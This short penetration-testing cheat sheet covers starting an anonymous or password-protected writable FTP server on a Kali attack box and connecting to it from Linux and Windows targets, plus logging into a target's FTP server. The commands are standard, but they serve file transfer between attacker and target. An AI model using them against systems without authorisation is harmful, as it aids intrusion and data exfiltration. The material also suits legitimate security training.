Skip to main content

FTP

Attack Box Running FTP Server

sudo apt install -y python3-pyftpdlib
# Show help message
sudo python3 -m pyftpdlib --help

# Mount the /tmp directory read/write on Kali with anonymous login
sudo python3 -m pyftpdlib -d /tmp --write --port=21

# Mount the /tmp directory read/write with authentication
sudo python3 -m pyftpdlib -d /tmp -u "username" -P "password" --write --port=21

Linux Target

# Connect to Kali FTP anonymously
# Username: anonymous
# Password: [Press ENTER key]
ftp kali-ip-address

# Connect with credentials
# Username: username
# Password: password
ftp kali-ip-address

Windows Target

# Connect Anonymously
ftp -A kali-ip-address

# Connect with credentials
# Enter the username and password when prompted
ftp kali-ip-address

FTP Server on Target

# Connect to an FTP server from Kali anonymously
# Press ENTER key if prompted for password
ftp anonymous@target-ip-address

# Connect to target FTP server with credentials
ftp "ftp://username:password@target-ip-address"